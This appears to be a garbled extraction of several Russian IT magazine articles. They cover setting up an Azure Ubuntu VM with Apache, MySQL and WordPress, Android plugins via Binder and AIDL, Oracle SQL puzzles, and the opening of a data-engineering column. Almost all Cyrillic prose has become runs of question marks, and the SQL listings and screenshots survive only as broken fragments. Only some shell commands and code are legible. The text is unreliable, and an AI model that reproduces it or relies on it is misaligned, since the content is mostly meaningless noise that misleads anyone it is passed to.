?????????? ?????????? ??????. ???? ?????? ???????????, ?? ??????? ??а???????, ??????? ??а???????????. ????? ?? ?????? ??????????? ?, ????????, ?????????? ????? ??а??????, ???? ???????? ????? ???????? ?????? ????????????,
??? ????????? ?а??? ?????. ?а????? ????? ??????????? ??????? (???? ???? ????? ??????????? ?а??????? ???????????? ??? ????????, ?? ??????? ????????
?????????). ?а??????? ??????? ????? ???????? ????? ????? ?, ??? ??? ?????
?????, ?????????? ?а????? ?????????????.
???????????????? ??????
?а?????? ???????? ?а????????. ????? ??????????, ???? ??????????? Azure CLI
?а?????? Azure. ?????? ????? ?????, ??а????????? ????? ?????????? ?????, ????? ??????, ????? ?? ???? ??? ??? ??????.
?????? ????? ????? ??????? ??????а? ?а????? ?????? ???? ??а?????? :)
??????? ??????, ??? ???? ??????, ????? ?????????, ??? ?????? ???????. ????????? ????????? ?????? ??????? ????? ??????, ??? ???а???а??????????? ??????????? ???? ????????? ????? ?а?????? ????????а? ??????? ?????? ??а?????, ???????? ?????, ?????? ????? ?????????, ??? ?? ??а???. ???????? ????????
??????, ??а??? ??.
????? ????, ???а?? ????????? ??????, ????? ?????????? Azure CLIа? ????????? ?????? Azure. ???? ??????? ????????? ??а????, ???? ????????? ??????,
?а???? ?? ??а???????.
Azure CLI ????? ?????????? ?аWindows, Linux ?аOS X. ??????? ???????, ?а?????? ???? ????? ????????? ????????? ??????????? Linux.
????????, ???????????, ?????? SKU ?а??????
??а????? Microsoft ? ????? ???? ????????????? ?????? ??а???????? ??????????? ?????? ?а??????? ??????? azure vm quick-create. ???????? ??, ???
??????: ??????? ???????, ??? ??????????? ?????????????? ????????, ?а?????а? ????????? ???????. ??а??а???-?? ????. ????? ??????? ???????????, ???
??????? ?а????? ??а??????? ???? ???????.
?????? ????? ????? ???????????? ?а??????? ?????????, ??????? ?? ?????? ????????? ?аAzure. ????? ??????? ???? ??а??????????????? Microsoft
??????? ??? ?? ????????? ????, ??? ?????????? ????????????????? ?????.
??а???? ?????????????? ???.
?аAzure ?????????????? ???????????? ??а???? CentOS, ?а????? ???????????? Debian, RHEL, openSUSE ?аSLES, Oracle Linux, Ubuntu. ????? ????, ?а???????? ????????????????? ??????? ?? ????????? ?а????????? ???????, ?а????
????? ??????????? ?а?????????????? ??????????????? ???????. ??????? ?????? ????????????? ?????????????? ?????, ??? SKU, ?????????????? ?????
?????????? ????????? ????????????? ???а??????? ??????? Azure. ????????,
???????????? CentOS ????????????? ????? 7. ??аSKUа? ??? ??а?????? ?????.
????????, ???аUbuntu Server ?????? ????? ???? SKU ???? 14.04.2-LTS.
???????? ?аSKU ?а?????? ?????????? ?????? ????? ????????? ?????. ?????
??? ???????, ???а???????????? ???? ????? Azure, ????? ?? ??????? ???????????? л??????╗ ???????.
??????????? ?????? (??????? ?? ?????? ???????????? ?а???????? azure
vm quick-create) ????? ???а?????? ??????? azure vm image list. ????
??????? ????? ???????? ??????, ??? ???????? ?а??????????? (???? ?? ??????,
???а??? ??????????).
???????? ?????? Azure ???????? ?а22 ???????? ?, ???а???????? ??а?????
Microsoft, ????? ?????? ???????? ??? ?а??????. ??????? ?????? ???? ??????
????? ???. ????????а? ??? ??? ???????? ??????, ???????? Canonical, ???? ??
?????? ???????????? ????? Ubuntu. ???????????а? ???????? ?????? ???????, ???????? UbuntuServer. ???????, ??????????? ????? ?а??а???????, ?????
??????? ??????? ??? ?????? ??а????????? ????????.
??????:
azure vm image list westus canonical ubuntuserver
????? ?? ???????? ??????????? UbuntuServer (??????? ??а???????????) ??а???????? Canonical ?а????????? ?????????? (?????? westus).
????? ????? ?????, ???а???????? ??а???. 1. ???а??????, ???? ??а????? ?????????? ????????? (? ?????? ??????) ???????.
???. 1. ????? ??????? azure vm image list westus canonical ubuntuserver
?????????????? ?????. ?????? ????? ??? ?????????? ??????? Sku ?аUrn.
???????, ??а???????????, ??? Skuа? ??а????? ?? ?а?????????? ????? (????
?аMicrosoft ??????? ?а????????). ??????? ??а????? ??????????? ??????, ?а??
???????: ???? ??? ???????? ???????, ??? Sku ????????, ??а??а????? ??? ??????????? ??а??? (???. 2). ???????, ????? ??а???????? ???? ???? ??????. ?а???
?а??????? Urn ????????? ??????, ??????? ????? ???????? ?а??????? azure vm
quick-create ???а???????? ??????????? ??????.
???. 2. ???????? ???????? https://azure.microsoft.com/
ru-ru/documentation/articles/billing-understand-your-bill
?????? ????????: ?а?????????? ??????? ?? ????? ???????? ????????, ??а???
??а?????? ??? ???????. ???????????, ??а???????? ???? Ubuntu ?а?? ??????
Debian. ??а???а??????, ??? ????? ????????? ???аDebian ??? ???а???? ?? CentOS?
???а????? ????? ?????? ???????
azure vm image list-publishers
?????? ????????? ????? ???????, ??????? ??а???. 3 ?????????? ???? ???????? ?????? ???????.
???. 3. ?????? ?????????
??????? ?????? ????????? ?а?? ???????????? (???????), ????? ???????? ?????? ???????????. ???а????? ????? ???????
azure vm image list-offers
????? ???? ???????? ??????? ???????? ?а??????, ????? ???? ?? ??????? ??????
??????????? (???. 4). ?? ????? ????? ???? ?????? ???????.
???. 4. ?????? ???????????
???????? ?????????????? SKU ????? ????????
azure vm image list-skus
???? ???????? ??????? ??????, ???????? ?а???????????. ?а????? ?? ????????
?????? ??????? ?а??????? ??????? ?????? ???? ????? (???. 5).
???. 5. ???????? ?????? ??????? azure vm image list-skus
View vs. SurfaceView
?????????? ?а????????? ???????? ?????? ??а?????????? ????????? Azure ????? PowerShell.
???????? ??????????? ??????
??? ?????? ?? ????? ???????? ??а??? ??????? ??????? azure vm quick-create.
????? ??:
azure vm quick-create
????? ??????? ???????? ???? ??????? ????????? ????а? ???????? ?????? ????????, ???????? ??????????? ??????, ??????, ??? ??, URN ??????, ??? ???????????? ??????????? ?????? ?а??????:
info:
Executing command vm quick-create
Resource group name: myVMGroup
Virtual machine name: ubuntuvm
Location name: westus
Operating system Type [Windows, Linux]: Linux
ImageURN (in the format of "publisherName:offer:skus:version"):
Canonical:UbuntuServer:14.04.4-LTS:latest
User name: den
Password: *******************
Confirm password: *******************
???? ????? ??? ?????????? ??а?????, ????????? ?? ???????? ???????. ?????
???????? ????? ????? ??????а? ??????????? ????? ?????????:
data:
Network Profile:
data:
Network Interfaces:
data:
Network Interface #1:
data:
Primary
data:
MAC Address
data:
Provisioning State
data:
Name
data:
Location
data:
Public IP address
data:
FQDN
...
info:
vm quick-create command OK
:true
:00-0D-3A-33-4C-B2
:Succeeded
:ubunt-westu-3894891836-nic
:westus
:104.40.24.124
:ubunt-westu-3894891836-pip.
westus.cloudapp.azure.com
??????????, ??? ???? ???. ????? ?????????? ???? ?а??????? ???????? ????????? ??????????? ??????: MAC-????? ????????, ????????? IP-?????, ??? ????,
?а????? ???? ??????? ????????? ??????? ?аOK ?а?????, ?????????????????
?а???, ??? ?????????? ??????? ?????? ???????.
????????? ??????????? ??????
??? ?????? ??????? ?а?????? ????? ???????????? ?а??????????? ??????
??аSSH: ssh <??????? IP>.
??????? IP-????? ????????? ???а???????? ??????????? ??????. ????? ??? ???????????? ?а??????, ????????? ???а???????? ??????????? ??????, ?а?????? ?????????? ?а????????? Linux. ??? ?????? ???????????, ???????
??а???????????? ??????. ?????, ????????, ?????????? ?????? ?????????? (??
?? VestaCP), ????? ?????????? ????????? PHP ?????? ?а???-???????? ?а???????? ??а? ??? ??? ????? ????? ???????????? ???а?????????????? ??????-?????? ???????? ???-??????????.
????? ????? ??????? ?????? ????????? ???????? ???-??????? ?а?????????? PHP ?аMySQL.
?????? ????? ????????? apt-get (???. 6):
sudo apt-get upgrade
???. 6. ??????? sudo apt-get upgrade
????? ????? ????? ?????????? ?а????????? ?????. ?????? Apache, ????? MySQL
?аPHP:
sudo apt-get install apache2
sudo apt-get install mysql-server php5-mysql
sudo apt-get install php5 libapache2-mod-php5 php5-mcrypt
???. 7. ????????? Apache
???. 8. ????????? MySQL ?аPHP
?????? ??????? ????????????? ?????????????? ??????, ??????????? ?аPHP,
?а????????? ?????, ?????????????? ????????? PHP ???-???????? Apache
(libapache2-mod-php5). ?????? ????????, ??? ???????? ?????????? ?????????????? ?????????? ????? GD (????? php5-gd), ??а??? ??? ??????? ??а??????
??????????.
???а????????? ??????? MySQL ???? ???????? ?????? ?????? ????????????
root. ??? ???????????? MySQL, ?а??а????????? ????????????, ??а??? ????? ?????????? ????????? ??????? ?????? ?а??а?????? ???.
????? ????? ???????? MySQL. ?????? ??????? ??????? ????????? ?????????
???? ??????, ?а?????? ?????? ????????? ??????? ?? ????? ???????????:
sudo mysql_install_db
sudo mysql_secure_installation
???. 9. ????????? MySQL
???????? ????????? Apache ?аMySQL:
sudo service apache2 restart
sudo service mysql restart
???. 10. ?????????? ???????? Apache/MySQL
?? ??? ?а???. ?а???? ???? ??????? ???-??????, ??????? ?? ?????? ????????????
???а?????????????? ??????????? ??????????.
????????? WORDPRESS
? ?????? ??????????? ?????? ????????? ???-??????????, ?а?????? WordPress.
??? ?, ???????. ?????? ????? ??????? ??? WordPress:
wget https://ru.wordpress.org/wordpress-4.5.1-ru_RU.zip
???а?????????? ?????? ????????? unzip ?а???????? ??? ?????????? ?а???????
/var/www/html:
sudo apt-get install unzip
unzip wordpress-4.5.1-ru_RU.zip
cd wordpress
sudo cp -R * /var/www/html
sudo rm /var/www/html/index.html
???. 11. ???????? WordPress
?????? ??????? ????????????? unzip, ?????? ????????????? ?????, ?????? ???????? ??????? ???????, ?а????????? ???????? ?????????? ????? wordpress ?
/var/www/htmlа? ??? DocumentRoot ???а???????????? Apache ??а?????????.
????? ??????? ??????? index.htmlа? ??????????? ????, ????????? ???а????????? Apache. ????? ???? ???а??? ?????????, ??а?????? ??????? ????? wordpress!
?????????? WordPress ?а???????:
cd /var/www/html
sudo cp wp-config-sample.php wp-config.php
sudo nano wp-config.php
????????? ??????? ????????? ?????????????? ????? wp-config.php. ?а??? ????? ????????? ??? ???????????? MySQL, ?????? ?а??? ???? ??????. ??? ??????
???? ????????: ?? ?????? ??????? ???? ?????? ?а????????????. ?????? ?? ???
????????. ????? ???????:
mysql -u root -p
mysql> CREATE DATABASE wp;
?????? ??????? ?? ??????? ?а??????? Linux (????? ???? ????? ??????? ??????
root), ?а??????а? ??? ?а??????????? ????????? mysql (??? ?????? ???аMySQL).
?????? ??????? ??????? ???? ?????? ?а?????? wp.
?????? ????? ?????? ??? ????? ??????? ???????:
mysql> GRANT ALL PRIVILEGES ON wp.* TO wpuser@localhost
IDENTIFIED BY '123';
?? ??????? ?????? ?????а? wpuser ?а??????? 123 ?а????????????? ??? ???
????? ???а?????? ?а?? wp. ???а?????? ??а??????? mysql ????? ??????? quit:
mysql> quit
???. 12. ????????? MySQL
???. 13. ?????????????? wp-config.php. ??, ?а?????????? ??а?????????!
?????? ?? ??????, ??? ????????? ?аwp-config.php. ????? ?????????????? ????? ???????????? WordPress ?????? ??????? ?а????? ?а???? URL http://???_
???????????_??????/wp-admin/install.php (???. 14).
???. 14. ????????? WordPress
?????? ??? ??????: ????? ?????? ???????? ?????, ?????? ??? ????? (?????? ?????), ?????? ?????? ?а??? ?????. ?????, ?а?????????? WordPress ?? ?????????? ???, ?а???? ???, ?? Google ???? ?а??????. ????? ????????? WordPress
????? ??а???? ???? ??аURL http://<???_???????????_??????> (???. 16).
???. 15. ???? ??????????
???. 16. WordPress ????? ?а?????????????!
??????????, ??а???? ???. ?? ?????? ??? ?????? ??????????? ?????? ?а????????? ?а??? ???-??????????.
?????????? ? ????????? Microsoft
WWW
?????????????????? ???????????? ?????? ??а?????????????? ???????:
?????? ?????? а? ????????? ??????????? ?????? ?а????
?????? ?????? а? ????????????? ??????????? ????? ?а?????????? ???
?а??????? ???????? ?????????? ???????? Azure
??????
????????
??????? ??????
androidstreet.net
?а???????????!
????? ?????????? ?а??????????
???????? ???аANDROID. ????? 1
?????????? ?а??????????? ?????????????????а? ????????? ???? ?а?????????? ??. ??????????? ???????,
?????????????????????? ?????????? ????????? ?????????? ?????????? ?а???? ???????? ??? ????????. ???
???????, ?????? ?а????? ??????????? ???????, ???????
?а?????????? ?????? ????? ???? ???????? ?а?????????? ?а??????? ?????????? ?????, ????? ???? ??????????? ??????? ??????????. ??а???а?а???? ??????? ????
?аAndroid, ??? ?????? ?????????? ???????? ?а???? ??????????? ?????????, ?а?????????????? л?????? ??????????╗ ????? ?????? ???????
??а????? ???? ???? ???а??????? ??? ??????? ??????? ?????????? ?а?????????? ???????? ???аAndroid.
?????? ?????? ??????????? ?а???, ????? ???????? ?а?????????? ????????????? ???????? ??????????? ????? (Lua ????? ????? ??????? ??а??? ????). ???????
????? ????? ???????а? ???????? ?????????? ????????. ??а???? ?а??? ???????????:
? ?????????? ??????????? ???????? ?а???????? ?????? ?????????? ?а???????? ?а???????? ???????, ??? ????? ????????? ?????? ??а??????? ???????.
? ?????????? ?????????????? ??????? ????? ??????, ???????? ???? ???????
????????????? ?????????????? ?????????? ??????? ?а?????? ??????????,
???? ?????? ???? ??????????? ??????????? ?а??????? ??а???????.
? ?????????????????? ???????? ??а????? ???????.
? ????, ?????? ?????, ???????? ????? ???? ?а???????????????, ??????????
??аC/C++, ?а?????????????? ???????? ??? ???а?????? ???????????? ??????????.
?а?????, ??а????? ???????, ??а??????? ????? ??а????????????? ??????.
?????? ?????? ??????? ??а?????????? ?а????? ?????????? ????????? ???????????? ???????? ???????. ?? ????????? ??????? ?????????? ??а?????????
???????, ??????? ????? ?????????? ????? ?? ????? ??? ??????. ??а???? ????
?????? ????? ????? ??а???, ??? ???????????? ?а??????????? ???а??????????
??, ?а????? ?? ?? ??????????:
? ?????? ??а????????? ?????????????? ????? ??????.
? ????? ???????? ?????? ?????????? ?????? ??????????, ?а??????, ???? ???????? ?????????????? ???????????? ?? ?????, ??????? ????? ??а????? ?????????? ?а???????? ????? ??????? ????, ????????? ??а?????????? ??????
?а??????????????? ??? ???????????.
? ?????????? ????? ??а?????? ????????? ????????? API ???????, ??а?а??????? ??а??? ???????????. ??????? ????????? ??????, ???????? ??а?????
???????????? ?аAPI, ?а??????? ??????? ?????????????? ??????? ??? ???????, ??????????? ?????? ??? ?????????, ???????? ?а??????? ????? ??????????.
??? ??а????? ?????? ????? ???? ????? ??????? ???а?????????? ??????? ????
???????? ?а??????? (? ??????????????? ?????, ???????????), ??????? ????
?????????? ????????? ??????????, ?????????? ??а?????? ???????? ???????,
?? ???-???? ??????????, ??а?а????????? ???. ?а??????? ????????? ?а???????
???????, ????? ??????? ?а????????? ??????????????? ????????? Android.
??? ???????, ???????????? ?а??????? RPC-????????? Binder.
DashClock: ???? ??а????? ????????? ?????????? ?а?????????? ????????
??????? ?аBINDER
Binderа? ??? ????????, ?а??????? ???????? ?аAndroid ??????????? ???????
?????? ??????????? ?а?????? ??????? ????? ???????????? ?а??????????
????????????. ???????? ?аBinder ? ????? ?а??????, ??????????? ???????????
???????, ?????? ????????? ?????? ??а?????? ??????? ?а??? ???????. ????
?? ?? ????? ????????? ??? ???а?????????? ????????, ??? ?????????? ???????????, ???а???????????? ??????????? ?????????? ?????? ???????? (RPC).
??а??????? ??????????? ?а???????????? ?????? ??????????.
????????, ?а??? ???? ?????????????? ???????, ?а??????? ????? ??????????
????????? ????????. ?????? ?????? ?????? ???? ??????????? ???????????
???аAndroid (? ??????????? ??????????? ??????????? ??? ???, ??а?????????? ????????????), ??? ??? ??? ???? ????? ????? ?????????????? ????? ??????.
??????? ?????? ???????????? ???????????? ???? API, ?а??????? ????????
?????????? ?????? ??????? ??? ???????. ?????????? ?????? ????? ???? ???????? ????????????? ??????? ?а????????? ?? ?а??????.
?а?????? ?????????? ??? ?????????? ?????? ?а??? ?????????? ?????????
?????????:
1. ?????????? API, ?а??????? ???????? ?????????? ????? ???????? ?а?????????.
2. ??????????? ???????? ?????? ???????? ?а????? ?? л????╗.
API
????? ??????? ?а??????? ?????? ?????????? ????????а? ?а???? ????????,
??????????? ??а???????. ???? ?????????? ????? ???????? ?????????????
?а??????? ??????????-???????, ?а?????? ??????? ????????? ?????????????
?а??? ??????? ?а???????? ?? ???????. ???а???? ??????? ????? ???????? ?????? ?????, ????? ??? ????????????? ?????, ?а??????? ???? ??????????? ??а??
?????????? ?а??????????? ????????. ?????? ???, ??????, ???????? ???????
???????? ??????? DashClock ?а?????? ?????? ??????????.
????? ??????? ????? ??????????? ?а??????? Binder, ?а???, ???а? ??? ??????, RPC-????????, ?а?? ??????? ???????? API (??????????) ?а?????? ??а?????? (?????????? ?а????????) ?а??????? ????? AIDL (Android Interface Definition
Language). ??? AIDL ????? ?????, ?а???????? ?????????? ??а??? ????? ????? ??а?????????? ??аJava. ???а?????? ??????? ???????? ??????? ?????????,
???????????? ??? ???????: run() ?аname():
?????? ???? IPlugin.aidl ?а??????? New AIDL AIDL file ?а??????? ?а???? ???
??????. ????? ??????? Build
Make Project, ????? Android Studio ???????????? AIDL ?а??????? ??? ??аJava.
?????????? ??????
?????? ????????? ??? ??????. ???а????? ??????? ????? ?????? (????? ??? ???
????? com.example.plugin1), ????????? ?а???? ???? IPlugin.aidl (?????? ????????, ??? ?? ?????? ????? ????????? ?а??????????? ?????? ??а???????????
???????) ?а???? Plugin.java ??а????????? ??????????:
??? ?????????? ??????, ??????? ?????? ???????? ???а???????. ???????? ?????? ??? ?????а? ??? ????? onBind, ??????? ?????????? ?????? ?????? Binder,
??????????? ??? ????????? IPlugin, ?а?????? ??????????? ?а???????. ??????? ???????, ???а??????????? ?а??????? ???? ?????????? ??????? ??????, ?а??????? ???????? ?????? ???????? ???????????? ?а??????? ???????
name() ?аrun().
????? ????????
?????? ??? ?????????? ??????????? ??????? ?????? ????????????? ????????.
????? (? ??????????) ????? ??????? ??? ?а??????? ????????, ?а??????? ????? ????????? ?а?????????? ???? ??????. ???а????? ??????? ?????? ?????????
?а???? Manifest ?????? ???????, ??????? ?а???? ????????? ?????? (? ??????
application):
?????? ?????? ????????, ??? ?????? Plugin ?????? ???? ?????? ???а??????? ????? ?ал????????╗ ??а?????? com.example.action.PLUGIN, ?????? ??? ???? ??????
????? ????? ??а???а?????, ?а???а????, ????? ????? ?????? ?а??????? ????? ?????
????????????? ??????????.
??? ???????? ?????? ???????? ??????????? ???????? ??????. ???а?????
?????????? ?????????? ?аPackageManager ?а???????? ??????? ?????? ???? ??????????, ?????????? ??а?????? com.example.action.PLUGIN:
????? ?а????????? ???? ??????? ????????, ???????? HashMap ?а????????
?а???? ????? ??????????-???????? ?а???????? ??????, ?а????? ?? ????????а?
?а???????? ????????:
?????? ??????? ???????
??????, ????? ?а??? ???? ??????? ??????, ?а?????????? ????? ??? ????????, ??
????? ??????? ??? ???????. ???а????? ?? ?????? ???????????? ?а??????? ??????? ?а??????? bindService, ??????? ??? ?????????? ???????????, ???????
????? ??????, ????? ?????????? ?а???????? ???????????. ?а???? ??? ??? ?????
????????? ???????? ???:
????????!
?????? ???, ???а???? ????? ????????????, ?????? ????? ??????? ????а? ???????????? ?а???????, ?????????????? ?а?????????? com.example.plugin1 (???
??? ??????, ???????), ?а???????? ??????? run(), ??????? ?? ????? ?????????? ?а??????? ?а?????????? IPlugin.aidl. ???? ????? ??????????, ??????
?????? ????? ???????? ?????? ?а????????? ?????? ???????, ??? ???????? ??????? ????????. ?а???????? ?????????? ?????????? ????? ???? ?????????
??а????? ??????? plugins ?а????????? ?????? ?????? ???????????????, ????
??????????? ??????????? ?????????, ??????? ????? ??????????? ?????????
?а???????? ??а????? ?????? ???????? ??а?????? ??????? ?а???????? ????? ????????? ?????? ??а??? ??а???????????. ????? ???????????? ?????? plugins
???а???????? ?????? ??????????, ???а??????? ??а??????? ????? ???????????
??? ??? ???? ??????.
?а?????, ????????? ?????, ???????а? ?????????, ??? ????? ???????? ?????? ??????? ?????????? ??????????? ??а???????????. ??? ????????? Android
??????? ???: ???а??????????? ?а??????? ???????? ??????, ???????? ??? ??????????, ?а????? ???????? ?????? ???а??????????. ???????? ??????? ???????? ??а???????, ??????? ?????????? ???????? ??????????, ???? ??а??????????
???????? ??????? ??а????, ?а?????? ???? ???? ??? ????????? ??а??? ?????? ??????? ??????? ??? ???????? ??????????а? ??????? ?? ???????.
?а??? ???? ?????? ??????. ??????? ??????? ?????????? ?????????, ?? ????
?а????? ?????? ???а?????????? plugin.run(2) ?????????? ????? ?????????? ??а??? ???????. ??-???????? ??? ????? ????????? ?????? ??????? ?а????????? ??????, ?а????? ?????????? ????????? ?????????? ?а???????? ?????.
??????
???а??????, ??????????? ?????????? ?а?????????? ???????? ???аAndroid
??а??? ?? ?а??????. ????? ????, ??????????? ???? ???????? ???????? ????????? ??????????, ??????? ????? ?????????? ?????????? ???? ?????, ?????? ?????????? ?????? л??? ?а?????╗. ???????а? ????????? ???????????? ??????????? ?а??а????????????? ?а?????? ?? ?????????.
??????
dbms_photoshop
sqlmdx.wordpress.com
??????
??а??????????????
??????? ??а?????:
?????? ??а?????????
?????? ?а???? ??????? ?? ????????? ?????? ??а????????, ??а?????????, ??? ????? ????? ????????? ????
???????????, ??????? ?????????? ????? ???????????????? ??????? ??????? ??????? ??????? ???????????? ???????. ?????? ???????, ??? ??? ??????
dbms_photoshop ?????? ???а??????? ???????????,а?
?????-?? ??? ??????????? ??? ???а????????? ??????
????????????. ???????, ??а???? ????????????? ??????????а? ??????? ????? ??????!
?????? ???? ???????????? ???а?????? ???????????? ??аOracle, ??а?а???????????? ??????????? ????? ???? ????????????? ???аMS SQL Server ?а????????? ?????? ????. ?????????? ??????? ????? ??а???? ?а??? ?????????, ??????
??????? ?????? ??????????????? ??????????, ???????????? ?а????. ?????,
????? ????????? ??????? ???????, ???? ?????? ????????? pre-screening-????????. ?????? ????? ?а???? ?????? ??? ???????, ??? ???а???? ??????? ??а????? ??????? ??????, ?? ?????????? ?????? ????????????, ??а?а??????????? ?????? ????? ???? ????? ????????? ?????? ?????????.
?а????? ???? ?????????? ???? ?????, ??????? ????????? ???????????????
???а?????????? ????? ???????????? (????? ?????????) ??????? ??????????.
??????????, ???? ????????, ??????? ??????? ???? ?????? ??????????? ???????
????? ??а???????? ??????, ??а??? ?? ?????? ?????? ???а???? ???.
?????? ???а??????? ??????? ?????? ????? ??а?????? ???????????? ?????
SQL, ??????? ??? ??????? ?????? ???? ???????? ??а?????? SQL ???а????????????? model clause ??? ?????-???? ?????????? ??аSQL-??????? (????????,
????? ??????? PL/SQL ??? ????????????? ??? XML).
?????? 1
??????? ???????? ????? ????????????? ?????. ???????? ??????, ???????????? ??? ????, ????????? ?а????????.
????????, ???а?????? ???? ????????? ???а???? 1 ????? ?????????:
SQL>
2
3
4
5
6
7
8
9
10
11
12
...
20
with graph as
(select 1 id, 2 parent_id from dual
union all select 1 id, 3 parent_id from dual
union all select 4 id, 3 parent_id from dual
union all select 5 id, 4 parent_id from dual
union all select 6 id, 5 parent_id from dual
union all select 7 id, 6 parent_id from dual
union all select 8 id, 7 parent_id from dual
union all select 7 id, 6 parent_id from dual
union all select 8 id, 10 parent_id from dual
union all select 9 id, 9 parent_id from dual
union all select 12 id, 11 parent_id from dual)
/
ID
---------1
2
3
4
5
6
7
8
10
9 rows selected
?????? 2
??????? ???????? ?????????? ?а???????????????? ???????. ???????? ??????,
??????? ?????? ???????????? ????? ????????????? ??????????? ???а??????? ???????????? ?а??????????? ?????, ????? ??? ?????????.
???а?????? ???? ????????? ????? ?????????:
SQL>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
37
with log as
(select 'U1' username, date '2013-08-08'+1/24 logon_time,
date '2013-08-08'+10/24 logoff_time from dual
union all select 'U1' username, date '2013-08-08'+6/24 logon_time,
date '2013-08-08'+14/24 logoff_time from dual
union all select 'U1' username, date '2013-08-08'+4/24 logon_time,
date '2013-08-08'+12/24 logoff_time from dual
union all select 'U1' username, date '2013-08-08'+8/24 logon_time,
date '2013-08-08'+17/24 logoff_time from dual
union all select 'U1' username, date '2013-08-08'+16/24 logon_time,
date '2013-08-08'+18/24 logoff_time from dual
union all select 'U1' username, date '2013-08-08'+9/24 logon_time,
date '2013-08-08'+16/24 logoff_time from dual
union all select 'U2' username, date '2013-08-08'+1/24 logon_time,
date '2013-08-08'+3/24 logoff_time from dual
union all select 'U2' username, date '2013-08-08'+2/24 logon_time,
date '2013-08-08'+12/24 logoff_time from dual
union all select 'U2' username, date '2013-08-08'+11/24 logon_time,
date '2013-08-08'+13/24 logoff_time from dual
union all select 'U2' username, date '2013-08-08'+10/24 logon_time,
date '2013-08-08'+14/24 logoff_time from dual)
/
US CNT_SESSIONS TIME
-- ------------ ----------------U1
5 08.08.13 09.00.00
U2
3 08.08.13 11.00.00
????? ????????????? ????? ???? ?????, ????????? ??а??????????? ?а????????????? л???╗, ???а???а??????? ????.
?????? 3
???????? ??????, ???????????? ?????? n ????? ?????????. ????????????? ????? ?????? ??а???????????. ????? ???а????????? ?????? ???? ???????
?а??????????? ??????????.
SQL>
2
3
4
...
< :b)
select lvl, result from fib
/
LVL
RESULT
---------- ---------1
0
2
1
3
1
4
2
5
3
6
5
7
8
8
13
9
21
10
34
10 rows selected
?????? 4
???а?????? ?????? master ?аdetail tables ???????? ??????, ??????? ?????? ????? value ?а???????????? ??аgrp, ?а????? ????? ????? ?а?????? ??????. ??????????? ?????? ???? ???????????? ??????? master.
SQL>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
24
with
master as
(select 1 as id_m, 111 as value from dual union all
select 2 as id_m, 222 as value from dual union all
select 3 as id_m, 333 as value from dual union all
select 4 as id_m, 444 as value from dual union all
select 5 as id_m, 555 as value from dual union all
select 6 as id_m, 666 as value from dual),
detail as
(select 1 as id_m, 1 as grp from dual union all
select 1 as id_m, 2 as grp from dual union all
select 1 as id_m, 4 as grp from dual union all
select 2 as id_m, 3 as grp from dual union all
select 2 as id_m, 4 as grp from dual union all
select 3 as id_m, 1 as grp from dual union all
select 3 as id_m, 3 as grp from dual union all
select 3 as id_m, 5 as grp from dual)
/
GRP
ALLSUM
---------- ---------2331
1
444
2
111
3
555
4
333
5
333
6 rows selected
?????? 5
??????? ???????? ???? ???а?????????? ????????. ???????? ??????, ???????
?????? ???? ?а????????? signed, ?а????? ?? ????????? ??а?????? ???? ???????.
Connect by ????? ???? ???????????? ?????? ??????????.
SQL>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
30
with tree
(select 3
union all
union all
union all
union all
union all
union all
union all
union all
union all
union all
union all
union all
union all
union all
as
id, 1 parent_id, 0 sign from dual
select 4 id, 2 parent_id, 0 sign from dual
select 5 id, 2 parent_id, 0 sign from dual
select 6 id, 3 parent_id, 0 sign from dual
select 7 id, 3 parent_id, 0 sign from dual
select 8 id, 3 parent_id, 0 sign from dual
select 9 id, 4 parent_id, 0 sign from dual
select 10 id, 4 parent_id, 1 sign from dual
select 11 id, 7 parent_id, 1 sign from dual
select 12 id, 7 parent_id, 0 sign from dual
select 13 id, 9 parent_id, 0 sign from dual
select 14 id, 9 parent_id, 1 sign from dual
select 15 id, 9 parent_id, 1 sign from dual
select 2 id, null parent_id, 0 sign from dual
select 1 id, null parent_id, 0 sign from dual)
/
SIGNED_NODE
ID_LVL1
ID_LVL2
ID_LVL3
----------- ---------- ---------- ---------10
2
4
10
11
1
3
7
14
2
4
9
15
2
4
9
4 rows selected.
parent_id ????? ???? ??а??????????? null ???а??????, ???а??а??????? ????.
IT-????????, ????? ??? ???? ???????!
?????? ???? ????-???????а? ???????????????, ??????? ?? ????????? ????????? ???????????? ???????, ??????? ????????? ???????? ?????????? ???????????. ?? ????? ??????? ??аlozovsky@glc.ruа? ?? ?? ?????????. ??????? ?????,
?????????, ????????? ?а???????????. ?????????а? ???????, ?????????а? ???????, ???а? ??????? ??а????? ???????????????? ?????????, ?????????а?
??????? ?????????? ??а??????????? ?а??????? ???????????? ???????.
????????, ????? ??????? ?а????????? ??????!
?????????? ?????? dbms_photoshop ?????????? ????? ?????, ?а?????? ?????
?? ??????? ?????????, ?????? ?? ?? ??????? ????? ??а????????????? ?а???????????, ??а????? ????????? ???????? ;)
UNIXOID
????????
????????
???а????? ??????? ????????? ???????
DATA ENGINEERING ?????. ????? 1
??????? ??????
enchantner@gmail.com
????????? ????????? Big Data, Data Science, Spark
?аHadoop ??? ???????? ?????? ??????? ?а??? ????. ?????? ???а?? ?????????? ?? ????? ???????????? ???? ??????? ????-?????, ?????? ???????? ???????? ?????? ?????????????? ???????, ?????? ??????? ??????????????
?а??????????? ??????. ??а??а??? ???-?? ??а??????? ??????: л?? ???????????? ???????? ?????? ?????????, ??????
????? ????????? ????????? ???????????? ??????╗. ?????? ??????? ????????? ?????? *nix ??? ????? ????????
??аC, ?????? ?????????????? ?а????????? ?????? ?????? ??????????? ?????? ?а????? ??????? ?????????????? ????? ???? ??а????? ??????. ??а??????? ????? ????? ??????.
?а??????? ?????? ???????????? ??????? ?????? ??? ?????? ????????? ?????,
?а??????? ???????? ?????????? ???????? ????????, ??? ?????? ??????????
??? ????? ??????????? data scientist?? ?аdata-????????. ?????? ????????? ??????????? ????????? ?????? ?????? ??????? ???????, ??????? ??????? ????? ??аHadoop ??? Spark ???????? ????????? ?????? ??а?????? ????. ???? ???????? ??????, ?? ???, ??? ????? ????????????????, ????????????????, ??а???
?????? ??а??????, ??? ????? ??????? ?а??????? ???? ????,а? ???? ?????????
?????????, ??а?????? ?????, ??????? ?????????? ??????. ?а?????? ??? ??????,
??????? ???а??? ?а???????????? ????? ?? ????? ????????? ?????????? ?а?????
data-?????????, ??????????? ???????????????? ?а??????? ???????. ? ????
??а???? ???????? ????????? ????????? ????????, ??а?????????? ????????
??????:
? ?????????? ?????? ??????? ??а??????-?? ????????;
? ?????????????;
? ?????????? ?????????? ??????? ???? ?????????? ??а???;
